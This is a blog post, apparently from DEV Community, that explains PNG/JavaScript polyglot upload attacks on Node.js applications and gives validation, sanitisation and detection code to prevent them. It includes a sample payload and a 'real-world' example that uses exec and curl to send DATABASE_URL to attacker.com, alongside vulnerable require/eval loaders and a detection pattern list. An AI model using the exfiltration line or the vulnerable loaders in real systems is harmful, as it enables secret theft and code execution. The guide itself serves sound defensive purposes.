DEV Community

Cover image for Image Upload Attack: Security Analysis & Prevention Guide
Keat Porhong
Keat Porhong

Posted on

Image Upload Attack: Security Analysis & Prevention Guide

Executive Summary

Polyglot image upload attacks exploit applications that process uploaded files without proper validation. A polyglot file is a file that is valid in multiple formats simultaneously - in this case, a file that is both a valid PNG image and executable JavaScript code. When applications process these files without proper security measures, the embedded code can execute, leading to remote code execution (RCE) vulnerabilities.

Severity: Critical (CVSS 9.8 - Critical)

Impact: Remote Code Execution, Server Compromise, Data Breach


Table of Contents

  1. Understanding Polyglot Files
  2. How the Attack Works
  3. Attack Vector Analysis
  4. Real-World Vulnerable Patterns
  5. Why This Attack is Dangerous
  6. Prevention Strategies
  7. Detection and Monitoring
  8. Incident Response

Understanding Polyglot Files

What is a Polyglot File?

A polyglot file is a file that is valid in multiple file formats simultaneously. In this attack scenario, we're dealing with a PNG/JavaScript polyglot - a file that:

  1. Is a valid PNG image - Can be opened in image viewers, passes image validation, displays correctly
  2. Contains executable JavaScript code - Has JavaScript code embedded after the PNG data that can execute in Node.js environments

Structure of a PNG/JavaScript Polyglot

[PNG Header: \x89PNG\r\n\x1a\n]
[PNG Chunks: IHDR, IDAT, IEND]
[IEND Chunk Marker]
[4-byte CRC]
[JavaScript Code Starts Here]
Enter fullscreen mode Exit fullscreen mode

Key Points:

  • PNG parsers stop reading at the IEND chunk (end of image marker)
  • Any data after IEND is ignored by image processors
  • Node.js require() or vm.runInThisContext() will attempt to parse the entire file
  • JavaScript code after IEND executes when the file is processed as code

Example Polyglot Structure

// Valid PNG image data (binary)
PNG_HEADER +
  IHDR +
  IDAT +
  IEND +
  CRC(
    // JavaScript code (text) - ignored by PNG parsers
    // PNG/Node.js Polyglot
    function () {
      const fs = require("fs");
      const outputFile = path.join(
        process.cwd(),
        "We_are_hacked_your_site.txt"
      );
      fs.writeFileSync(outputFile, "We are hacked your site", "utf8");
    }
  )();
module.exports = {};
Enter fullscreen mode Exit fullscreen mode

How the Attack Works

Attack Flow

1. Attacker creates polyglot PNG/JS file
   ↓
2. Attacker uploads file as "image.png" to target application
   ↓
3. Application validates file:
   - Checks file signature (✓ Valid PNG)
   - Checks MIME type (✓ image/png)
   - File passes validation
   ↓
4. Application processes image:
   - Converts to WebP using Sharp
   - Saves original file to uploads/originals/image_TIMESTAMP.png
   ↓
5. Background file processor/watcher detects new file
   ↓
6. File processor attempts to execute file:
   - Tries require(filePath)
   - Or tries vm.runInThisContext(fileContent)
   - Or tries eval(fileContent)
   ↓
7. JavaScript code after IEND chunk executes
   ↓
8. Malicious code runs with server privileges
   - Creates files
   - Executes commands
   - Accesses file system
   - Potentially gains RCE
Enter fullscreen mode Exit fullscreen mode

Why It Works

  1. File Validation Bypass: The file is a valid PNG, so it passes image validation
  2. Extension Preservation: Many apps preserve original filenames/extensions
  3. File Processing: Background processes may execute files without content validation
  4. Node.js Behavior: Node.js can require() files with any extension using full paths
  5. No Content Validation: Apps don't check for embedded code in image files

Attack Vector Analysis

Vulnerable Application Patterns

1. Image Upload with Original File Saving

Vulnerable Code Pattern:

// Saves original file with preserved extension
const savedPath = path.join(uploadsDir, `${filename}_${timestamp}${ext}`);
fs.writeFileSync(savedPath, imageBuffer);
Enter fullscreen mode Exit fullscreen mode

Why It's Vulnerable:

  • Preserves original filename and extension
  • If file is later processed, it maintains its identity
  • No content validation before saving

2. Background File Watchers

Vulnerable Code Pattern:

// File watcher that processes new uploads
fs.watch(uploadsDir, (eventType, filename) => {
  if (eventType === "rename") {
    const filePath = path.join(uploadsDir, filename);
    require(filePath); // ⚠️ VULNERABLE
  }
});
Enter fullscreen mode Exit fullscreen mode

Why It's Vulnerable:

  • Automatically processes new files
  • Tries to execute files without validation
  • No content checking before execution

3. Plugin/Module Loading Systems

Vulnerable Code Pattern:

// Plugin loader that requires files
const plugins = fs.readdirSync(pluginsDir);
for (const plugin of plugins) {
  require(path.join(pluginsDir, plugin)); // ⚠️ VULNERABLE
}
Enter fullscreen mode Exit fullscreen mode

Why It's Vulnerable:

  • Loads files as modules without validation
  • Assumes files are safe JavaScript
  • No content verification

4. Dynamic Code Execution

Vulnerable Code Pattern:

// Asset processor that evaluates files
const fileContent = fs.readFileSync(filePath, "utf-8");
vm.runInThisContext(fileContent); // ⚠️ VULNERABLE
Enter fullscreen mode Exit fullscreen mode

Why It's Vulnerable:

  • Executes file content as code
  • No validation of file contents
  • Assumes files are safe to execute

Real-World Vulnerable Patterns

Common Scenarios Where This Attack Works

  1. Content Management Systems (CMS)
  • Upload images for content
  • Background processors scan uploads directory
  • Plugin systems load files dynamically
  1. E-commerce Platforms
  • Product image uploads
  • Image optimization services
  • File watchers for processing
  1. Social Media Platforms
  • Profile picture uploads
  • Media processing pipelines
  • Asset management systems
  1. Blog/Website Builders
  • Image uploads for posts
  • Theme/plugin systems
  • File processing workers
  1. API Services
    • Image upload endpoints
    • File processing microservices
    • Background job processors

Real-World Attack Example

// Attacker creates polyglot
const polyglot = createPNGWithJS(`
    const { exec } = require('child_process');
    exec('curl http://attacker.com/steal?data=' + 
         encodeURIComponent(process.env.DATABASE_URL));
`);

// Uploads as "profile_picture.png"
// Application saves to: uploads/originals/profile_picture_1234567890.png

// Background processor executes:
require("uploads/originals/profile_picture_1234567890.png");

// Malicious code executes, exfiltrates data
Enter fullscreen mode Exit fullscreen mode

Why This Attack is Dangerous

1. Stealth

  • Looks like a normal image: Passes all image validation
  • No suspicious extensions: Uses .png extension
  • No obvious indicators: Appears legitimate to security scanners
  • Hard to detect: Embedded code is invisible to image viewers

2. High Success Rate

  • Common vulnerable patterns: Many apps use file watchers/processors
  • No content validation: Most apps don't check for embedded code
  • Automatic execution: Background processes execute without user interaction
  • Multiple attack vectors: Works with various execution methods

3. Severe Impact

  • Remote Code Execution: Full server compromise possible
  • Data Exfiltration: Access to databases, files, secrets
  • Lateral Movement: Can pivot to other systems
  • Persistence: Can install backdoors, maintain access

4. Difficult to Detect

  • No explicit extraction code: Attack doesn't require suspicious code
  • Normal file operations: Uses standard Node.js APIs
  • Blends with legitimate traffic: Looks like normal image uploads
  • No obvious errors: Fails silently if execution doesn't work

Prevention Strategies

1. Content Validation

Validate File Contents, Not Just Extensions

import { fileTypeFromBuffer } from "file-type";

async function validateImageFile(buffer: Buffer): Promise<boolean> {
  // Check actual file type from content
  const fileType = await fileTypeFromBuffer(buffer);

  if (!fileType || fileType.mime !== "image/png") {
    return false;
  }

  // Verify PNG structure
  if (
    !buffer
      .slice(0, 8)
      .equals(Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]))
  ) {
    return false;
  }

  // Check for data after IEND chunk
  const iendPos = buffer.indexOf(Buffer.from("IEND"));
  if (iendPos !== -1) {
    const iendEnd = iendPos + 8; // IEND (4) + CRC (4)
    const dataAfterIEND = buffer.slice(iendEnd);

    // Reject if there's significant data after IEND
    if (dataAfterIEND.length > 10) {
      return false; // Suspicious - PNG should end at IEND
    }
  }

  return true;
}
Enter fullscreen mode Exit fullscreen mode

Strip Trailing Data

function sanitizePNG(buffer: Buffer): Buffer {
  const iendPos = buffer.indexOf(Buffer.from("IEND"));
  if (iendPos !== -1) {
    // Return only up to IEND + CRC (8 bytes after IEND marker)
    return buffer.slice(0, iendPos + 8);
  }
  return buffer;
}

// Use sanitized buffer
const sanitized = sanitizePNG(imageBuffer);
await saveOriginalFile(sanitized, filename, serverRoot);
Enter fullscreen mode Exit fullscreen mode

2. File Extension Sanitization

Never Trust User-Provided Extensions

import path from "path";
import { fileTypeFromBuffer } from "file-type";

async function getSafeFilename(
  originalFilename: string,
  buffer: Buffer
): Promise<string> {
  // Determine actual file type from content
  const fileType = await fileTypeFromBuffer(buffer);

  if (!fileType) {
    throw new Error("Unable to determine file type");
  }

  // Map MIME type to safe extension
  const extensionMap: Record<string, string> = {
    "image/png": ".png",
    "image/jpeg": ".jpg",
    "image/webp": ".webp",
    "image/gif": ".gif",
  };

  const safeExt = extensionMap[fileType.mime] || ".bin";
  const baseName = path.basename(
    originalFilename,
    path.extname(originalFilename)
  );
  const timestamp = Date.now();

  // Always use safe extension, ignore user-provided extension
  return `${baseName}_${timestamp}${safeExt}`;
}
Enter fullscreen mode Exit fullscreen mode

3. Secure File Processing

Never Execute Uploaded Files

// ❌ VULNERABLE - Never do this
require(uploadedFilePath);
vm.runInThisContext(fileContent);
eval(fileContent);

// ✅ SECURE - Use whitelist approach
const ALLOWED_PLUGINS = ["plugin1.js", "plugin2.js"];
if (ALLOWED_PLUGINS.includes(filename)) {
  require(pluginPath);
} else {
  throw new Error("Plugin not in whitelist");
}
Enter fullscreen mode Exit fullscreen mode

Use Sandboxed Execution (If Necessary)

import vm from "vm";

// If you MUST execute user code, use strict sandboxing
function executeInSandbox(code: string): any {
  const sandbox = {
    console: { log: () => {} }, // Limited console
    // No require, no fs, no process, no global
  };

  const context = vm.createContext(sandbox);
  return vm.runInContext(code, context, {
    timeout: 1000, // Timeout
    displayErrors: false,
  });
}
Enter fullscreen mode Exit fullscreen mode

4. File Storage Security

Store Files Outside Web Root

// ❌ VULNERABLE
const uploadsDir = path.join(serverRoot, "public", "uploads");
// Files accessible via HTTP: /uploads/file.png

// ✅ SECURE
const uploadsDir = path.join(serverRoot, "storage", "uploads");
// Files NOT directly accessible via HTTP
Enter fullscreen mode Exit fullscreen mode

Use Content-Addressed Storage

import crypto from "crypto";

function getContentHash(buffer: Buffer): string {
  return crypto.createHash("sha256").update(buffer).digest("hex");
}

// Store files by content hash, not original filename
const contentHash = getContentHash(imageBuffer);
const safePath = path.join(uploadsDir, `${contentHash}.png`);
Enter fullscreen mode Exit fullscreen mode

5. Input Validation

Validate at Multiple Layers

// Layer 1: Request validation
function validateUploadRequest(file: File): void {
  if (!file) throw new Error("No file provided");
  if (file.size > 10 * 1024 * 1024) throw new Error("File too large");
  if (!file.type.startsWith("image/")) throw new Error("Not an image");
}

// Layer 2: Content validation
async function validateFileContent(buffer: Buffer): Promise<void> {
  const fileType = await fileTypeFromBuffer(buffer);
  if (!fileType || !fileType.mime.startsWith("image/")) {
    throw new Error("Invalid image file");
  }

  // Additional validation...
}

// Layer 3: Sanitization
function sanitizeFile(buffer: Buffer): Buffer {
  // Remove any trailing data, normalize format
  return sanitizePNG(buffer);
}
Enter fullscreen mode Exit fullscreen mode

6. Least Privilege

Run File Processors with Limited Permissions

// Use separate process with limited permissions
import { spawn } from "child_process";

function processFileSecurely(filePath: string): void {
  // Run in isolated process with no network/filesystem access
  const child = spawn("node", ["--no-warnings", "processor.js", filePath], {
    stdio: "pipe",
    env: {}, // No environment variables
  });

  // Monitor and timeout
  const timeout = setTimeout(() => child.kill(), 5000);
  child.on("exit", () => clearTimeout(timeout));
}
Enter fullscreen mode Exit fullscreen mode

Detection and Monitoring

1. File Content Monitoring

function detectSuspiciousContent(buffer: Buffer): boolean {
  const content = buffer.toString("utf-8", 0, Math.min(1000, buffer.length));

  const suspiciousPatterns = [
    /require\s*\(/,
    /eval\s*\(/,
    /Function\s*\(/,
    /child_process/,
    /fs\.writeFile/,
    /process\.exit/,
  ];

  return suspiciousPatterns.some((pattern) => pattern.test(content));
}
Enter fullscreen mode Exit fullscreen mode

2. Execution Monitoring

// Monitor file execution attempts
function logFileExecution(filePath: string, success: boolean): void {
  const logEntry = {
    timestamp: new Date().toISOString(),
    filePath,
    success,
    suspicious: detectSuspiciousContent(fs.readFileSync(filePath)),
  };

  // Send to security monitoring system
  securityLogger.warn("File execution attempt", logEntry);
}
Enter fullscreen mode Exit fullscreen mode

3. Anomaly Detection

  • Monitor for files with unusual sizes (too large for images)
  • Track files with data after IEND chunks
  • Alert on execution of files from uploads directory
  • Monitor for suspicious file operations after uploads

Incident Response

If Attack is Detected

  1. Immediate Actions
  • Disable file upload functionality
  • Isolate affected server/container
  • Review recent uploads for polyglot files
  • Check for execution artifacts
  1. Investigation
  • Review file watcher/processor logs
  • Check for suspicious file operations
  • Identify which files were executed
  • Determine scope of compromise
  1. Containment
  • Remove malicious files
  • Revoke compromised credentials
  • Patch vulnerable code
  • Implement additional security measures
  1. Recovery
    • Restore from clean backups
    • Rebuild affected systems
    • Implement prevention measures
    • Monitor for re-infection

Code Examples

Secure Image Upload Handler

import { fileTypeFromBuffer } from "file-type";
import sharp from "sharp";
import crypto from "crypto";
import path from "path";
import fs from "fs";

export async function secureImageUpload(
  fileBuffer: Buffer,
  originalFilename: string
): Promise<{ success: boolean; filePath?: string; error?: string }> {
  try {
    // 1. Validate file type from content
    const fileType = await fileTypeFromBuffer(fileBuffer);
    if (!fileType || !fileType.mime.startsWith("image/")) {
      return { success: false, error: "Invalid image file" };
    }

    // 2. Validate PNG structure
    if (fileType.mime === "image/png") {
      const pngHeader = Buffer.from([
        0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a,
      ]);
      if (!fileBuffer.slice(0, 8).equals(pngHeader)) {
        return { success: false, error: "Invalid PNG structure" };
      }

      // 3. Check for data after IEND
      const iendPos = fileBuffer.indexOf(Buffer.from("IEND"));
      if (iendPos !== -1) {
        const dataAfterIEND = fileBuffer.slice(iendPos + 8);
        if (dataAfterIEND.length > 10) {
          return { success: false, error: "Suspicious data after PNG end" };
        }
      }

      // 4. Sanitize - remove any trailing data
      const sanitized = sanitizePNG(fileBuffer);
      fileBuffer = sanitized;
    }

    // 5. Reprocess image to ensure it's clean
    const processed = await sharp(fileBuffer).png().toBuffer();

    // 6. Generate safe filename (content hash)
    const contentHash = crypto
      .createHash("sha256")
      .update(processed)
      .digest("hex")
      .substring(0, 16);

    const safeExt = fileType.ext || "png";
    const safeFilename = `${contentHash}.${safeExt}`;

    // 7. Store in secure location (outside web root)
    const storageDir = path.join(process.cwd(), "storage", "uploads");
    if (!fs.existsSync(storageDir)) {
      fs.mkdirSync(storageDir, { recursive: true });
    }

    const filePath = path.join(storageDir, safeFilename);
    fs.writeFileSync(filePath, processed);

    return { success: true, filePath };
  } catch (error) {
    return {
      success: false,
      error: error instanceof Error ? error.message : "Upload failed",
    };
  }
}

function sanitizePNG(buffer: Buffer): Buffer {
  const iendPos = buffer.indexOf(Buffer.from("IEND"));
  if (iendPos !== -1) {
    return buffer.slice(0, iendPos + 8);
  }
  return buffer;
}
Enter fullscreen mode Exit fullscreen mode

Secure File Processor

// ✅ SECURE - Whitelist-based plugin loader
const ALLOWED_PLUGINS = new Set([
  "official-plugin-1.js",
  "official-plugin-2.js",
]);

export function loadPlugin(pluginName: string): void {
  if (!ALLOWED_PLUGINS.has(pluginName)) {
    throw new Error(`Plugin ${pluginName} not in whitelist`);
  }

  const pluginPath = path.join(PLUGINS_DIR, pluginName);

  // Verify file hasn't been modified (checksum)
  const expectedHash = PLUGIN_HASHES[pluginName];
  const actualHash = crypto
    .createHash("sha256")
    .update(fs.readFileSync(pluginPath))
    .digest("hex");

  if (actualHash !== expectedHash) {
    throw new Error(`Plugin ${pluginName} checksum mismatch`);
  }

  // Safe to require
  require(pluginPath);
}
Enter fullscreen mode Exit fullscreen mode

Conclusion

Polyglot image upload attacks are a serious security threat that can lead to remote code execution. The attack works by exploiting applications that:

  1. Save uploaded files with original extensions
  2. Process files without content validation
  3. Execute files from uploads directories

Key Takeaways:

  • Never trust file extensions - Always validate file content
  • Never execute uploaded files - Use whitelists for any code execution
  • Sanitize file contents - Strip trailing data, reprocess images
  • Monitor file operations - Log and alert on suspicious activity
  • Use defense in depth - Multiple layers of validation and security

By implementing the prevention strategies outlined in this document, you can significantly reduce the risk of polyglot file upload attacks and protect your applications from this critical vulnerability.


References


Document Version: 1.0

Last Updated: 2025-12-17

Author: Porhong

Classification: Internal Security Documentation

Top comments (0)